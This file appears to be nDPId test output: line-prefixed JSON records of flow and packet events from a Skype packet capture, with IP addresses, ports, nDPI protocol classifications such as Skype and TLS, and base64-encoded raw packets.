{"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":18,"flow_first_seen":1431969689470,"flow_last_seen":1431969717232,"flow_tot_l4_data_len":824,"flow_min_l4_data_len":20,"flow_max_l4_data_len":125,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.156","src_port":50076,"dst_port":40014,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":17,"flow_first_seen":1431969699577,"flow_last_seen":1431969718631,"flow_tot_l4_data_len":809,"flow_min_l4_data_len":20,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":50092,"dst_port":40020,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":17,"flow_first_seen":1431969699577,"flow_last_seen":1431969718631,"flow_tot_l4_data_len":809,"flow_min_l4_data_len":20,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":50092,"dst_port":40020,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00509{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":19,"flow_first_seen":1431969689470,"flow_last_seen":1431969716588,"flow_tot_l4_data_len":843,"flow_min_l4_data_len":20,"flow_max_l4_data_len":124,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.142","src_port":50075,"dst_port":40003,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":19,"flow_first_seen":1431969689470,"flow_last_seen":1431969716588,"flow_tot_l4_data_len":843,"flow_min_l4_data_len":20,"flow_max_l4_data_len":124,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.142","src_port":50075,"dst_port":40003,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":303,"flow_packet_id":1,"flow_first_seen":1431969777184,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":301,"flow_packet_id":1,"flow_first_seen":1431969776969,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":304,"flow_packet_id":1,"flow_first_seen":1431969777185,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":302,"flow_packet_id":1,"flow_first_seen":1431969776969,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00508{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":12,"flow_first_seen":1431969707326,"flow_last_seen":1431969717500,"flow_tot_l4_data_len":739,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":50103,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":12,"flow_first_seen":1431969707326,"flow_last_seen":1431969717500,"flow_tot_l4_data_len":739,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":50103,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":6,"flow_first_seen":1431969712931,"flow_last_seen":1431969713736,"flow_tot_l4_data_len":267,"flow_min_l4_data_len":20,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":50109,"dst_port":12350,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":6,"flow_first_seen":1431969712931,"flow_last_seen":1431969713736,"flow_tot_l4_data_len":267,"flow_min_l4_data_len":20,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":50109,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":6,"flow_first_seen":1431969713736,"flow_last_seen":1431969714165,"flow_tot_l4_data_len":161,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":50110,"dst_port":12350,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":6,"flow_first_seen":1431969713736,"flow_last_seen":1431969714165,"flow_tot_l4_data_len":161,"flow_min_l4_data_len":20,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":50110,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":12,"flow_first_seen":1431969697097,"flow_last_seen":1431969714913,"flow_tot_l4_data_len":699,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":50087,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":12,"flow_first_seen":1431969697097,"flow_last_seen":1431969714913,"flow_tot_l4_data_len":699,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.142","src_port":50087,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":13,"flow_first_seen":1431969706277,"flow_last_seen":1431969719939,"flow_tot_l4_data_len":667,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":50100,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":13,"flow_first_seen":1431969706277,"flow_last_seen":1431969719939,"flow_tot_l4_data_len":667,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":50100,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":15,"flow_first_seen":1431969698797,"flow_last_seen":1431969718921,"flow_tot_l4_data_len":1824,"flow_min_l4_data_len":20,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":121,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":50090,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":18,"flow_first_seen":1431969642376,"flow_last_seen":1431969712120,"flow_tot_l4_data_len":3067,"flow_min_l4_data_len":20,"flow_max_l4_data_len":223,"flow_avg_l4_data_len":170,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.223.73.34","src_port":50027,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00509{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":14,"flow_first_seen":1431969706277,"flow_last_seen":1431969717910,"flow_tot_l4_data_len":914,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":50102,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":14,"flow_first_seen":1431969706277,"flow_last_seen":1431969717910,"flow_tot_l4_data_len":914,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.15","src_port":50102,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":15,"flow_first_seen":1431969701181,"flow_last_seen":1431969719738,"flow_tot_l4_data_len":796,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":50094,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":15,"flow_first_seen":1431969701181,"flow_last_seen":1431969719738,"flow_tot_l4_data_len":796,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":50094,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":16,"flow_first_seen":1431969691076,"flow_last_seen":1431969717999,"flow_tot_l4_data_len":826,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.142","src_port":50079,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":16,"flow_first_seen":1431969691076,"flow_last_seen":1431969717999,"flow_tot_l4_data_len":826,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.142","src_port":50079,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":15,"flow_first_seen":1431969704663,"flow_last_seen":1431969718237,"flow_tot_l4_data_len":702,"flow_min_l4_data_len":20,"flow_max_l4_data_len":94,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":50096,"dst_port":40027,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":15,"flow_first_seen":1431969704663,"flow_last_seen":1431969718237,"flow_tot_l4_data_len":702,"flow_min_l4_data_len":20,"flow_max_l4_data_len":94,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.46","src_port":50096,"dst_port":40027,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":295,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3106,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969783,"pkt_ts_usec":391187,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/wRAAEAGjD\/AqAEiTKehBsPXTzInl3b0mo2mjYAZECrV5AAAAQEICj4krza+obtETjjGVAMHb58="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3107,"source":"skype.pcap","alias":"nDPId-test","flow_id":305,"flow_packet_id":1,"flow_first_seen":1431969783628,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"80.14.46.121","src_port":50141,"dst_port":4415,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":305,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3107,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969783,"pkt_ts_usec":628523,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAJsBAAEAG06bAqAEiUA4uecPdET\/5wLoiAAAAALAC\/\/9\/YwAAAgQFtAEDAwUBAQgKPiSwIwAAAAAEAgAA"} +00444{"flow_id":305,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3108,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969783,"pkt_ts_usec":723543,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABAoepAAHQGJHxQDi55wKgBIhE\/w92tjxb3+cC6I7AS\/\/+oHwAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00426{"flow_id":305,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3109,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969783,"pkt_ts_usec":723647,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0sYlAAEAGSOnAqAEiUA4uecPdET\/5wLojrY8W+IAQECzqDwAAAQEICj4ksIIAAAAA"} +00511{"flow_id":305,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3110,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969783,"pkt_ts_usec":724189,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"0NQSxnP1PBXCt3IOCABFAABwDDJAAEAG7gTAqAEiUA4uecPdET\/5wLojrY8W+IAYECyTRgAAAQEICj4ksIIAAAAA9\/r1P1A0shPDRbmIqhNI2gKbWvPqHL9hix7hMF793UclVj5xB4U8YQR57\/+GFLwSBj\/kBXK7MOGe9zx9"} +00562{"flow_id":305,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3111,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969783,"pkt_ts_usec":821347,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"PBXCt3IO0NQSxnP1CABFAACXoe9AAHQGJCBQDi55wKgBIhE\/w92tjxb4+cC6X4AY\/8M5ngAAAQEICgADWC4+JLCCR00xxPyJSvY7p+UXAcWld4BKHI06keybLBcwhbDgUv8nCnJiqh+hlIWSH0YfB7qlA9hphr9khfI7sGEed7z9CnOIWbYvFHUiq2BRTuds7TrjOEnmn8RlUhsQQX5XHN1qU+g5"} +00426{"flow_id":305,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3112,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969783,"pkt_ts_usec":821468,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0XuJAAEAGm5DAqAEiUA4uecPdET\/5wLpfrY8XW4AQECiQ4wAAAQEICj4ksOIAA1gu"} +00438{"flow_id":305,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3113,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969783,"pkt_ts_usec":822006,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8psZAAEAGU6TAqAEiUA4uecPdET\/5wLpfrY8XW4AYECgLxwAAAQEICj4ksOIAA1guNacy1AseEXM="} +00438{"flow_id":305,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3114,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":260046,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FgxAAEAG5F7AqAEiUA4uecPdET\/5wLpfrY8XW4AYECgKEQAAAQEICj4kspgAA1guNacy1AseEXM="} +00979{"flow_id":264,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3116,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":621362,"pkt_caplen":471,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":471,"pkt_l4_len":437,"pkt":"PBXCt3IO0NQSxnP1CABFAAHJlCRAADAGQZsRj6AWwKgBIhRnwSeBM8b3lvCrBoAYASFkNgAAAQEIClVLBnA+JFxkFwMBAZCllgvfKgF3Uuy2s+53DS76VVnqikpXIc3w7V3Ix74m70o8mFUpsp8eGrlCfVkhSOm1QbJBTs9E59sjW1f2kz1cx6sA5h9+Uslt7bLzmfCkZOEes9x1njC2nvBrHBBVkdN9vTKYtKoqrpJ7XtDHAuiBv8+m+jJ6jWgjvjR5vrP5DGAAK\/WXz7\/7XE5iN\/r2nQUL8b55EBg\/7XJ9cSavbLCUiso\/Px3scVJqGuCzwi7M4A38Zu8jRFPT2LmYwQyEvyHWawU8lrVyfXav1ED\/QoNsS6QQjzHDpoM+zypXuFR94DfDIAMZ6YZWhZ55yiuFEog5nSYWBAtowtxhUqSukk\/NdRVzZbpmBw\/gsZf\/cBkJTMy+Sgzy5eVlEQ8IVz+0WmwyCFGSm6ky++PBd4w8TKZxk2rZoCsoF9CuyVP+oJ1oI2IR8nf3pAV\/+k604Q+oLdUhKmWpSJCB5WJUXkXKMyrW3s2AcAILPe+bPiqi\/VEY3FPr878SOwWK1TrUfRFqTymWnf0iwuHNiAMMUWj1pBZT"} +00427{"flow_id":264,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3117,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":621445,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Vk1AAEAGcQfAqAEiEY+gFsEnFGeW8KsGgTPIjIAQD\/NEMwAAAQEICj4ktAFVSwZw"} +00552{"flow_id":264,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3118,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":622668,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"0NQSxnP1PBXCt3IOCABFAACOb59AAEAGV1vAqAEiEY+gFsEnFGeW8KsGgTPIjIAYEAB6dQAAAQEICj4ktAJVSwZwFwMBACBMjqTWniHrcBEslZ43JJNdL32X\/QhiSiCd6RZ4FJgq0hcDAQAwLQvVvlMqMy3QmZD5957cdCXiFf+d7rhuZsTQ6kDGI4tkD\/5WT\/FCi1XYQFUuPtqx"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3119,"source":"skype.pcap","alias":"nDPId-test","flow_id":306,"flow_packet_id":1,"flow_first_seen":1431969784741,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"80.14.46.121","src_port":50142,"dst_port":4415,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":306,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3119,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":741030,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAOglAAEAGwF3AqAEiUA4uecPeET+tjIdjAAAAALAC\/\/\/6AAAAAgQFtAEDAwUBAQgKPiS0eAAAAAAEAgAA"} +00444{"flow_id":306,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3120,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":827745,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"PBXCt3IO0NQSxnP1CABFAABAogNAAHQGJGNQDi55wKgBIhE\/w94bo3ajrYyHZLAS\/\/9ZUgAAAgQFrAEDAwABAQgKAAAAAAAAAAABAQQC"} +00425{"flow_id":306,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3121,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":827850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA03GtAAEAGHgfAqAEiUA4uecPeET+tjIdkG6N2pIAQECyW9gAAAQEICj4ktM4AAAAA"} +00521{"flow_id":306,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3122,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":827975,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB4W0NAAEAGnuvAqAEiUA4uecPeET+tjIdkG6N2pIAYECweZAAAAQEICj4ktM4AAAAAXhYo3uqtjy7zH+uy\/+mFmTLkwFbyxBAy4R+P28dEVchvss4r7udXNkXTqR4NbwpWZaEQSEroaxCjulFk+qNEeZrOCUQ="} +00426{"flow_id":264,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3123,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":849782,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0lCVAADAGQy8Rj6AWwKgBIhRnwSeBM8iMlvCrYIAQASFRWwAAAQEIClVLB78+JLQC"} +00514{"flow_id":306,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3124,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969784,"pkt_ts_usec":915161,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"PBXCt3IO0NQSxnP1CABFAABzoglAAHQGJCpQDi55wKgBIhE\/w94bo3akrYyHqIAY\/7vokQAAAQEICgADWDk+JLTOAwmBXT1X5ZxX7cjBjnHYvo0lwWM8FIx1FEZ0dMWQX0nkeUZm\/HEuk0Ax91jcJZ9lgQSauyA2QGrj8KmynSvC"} 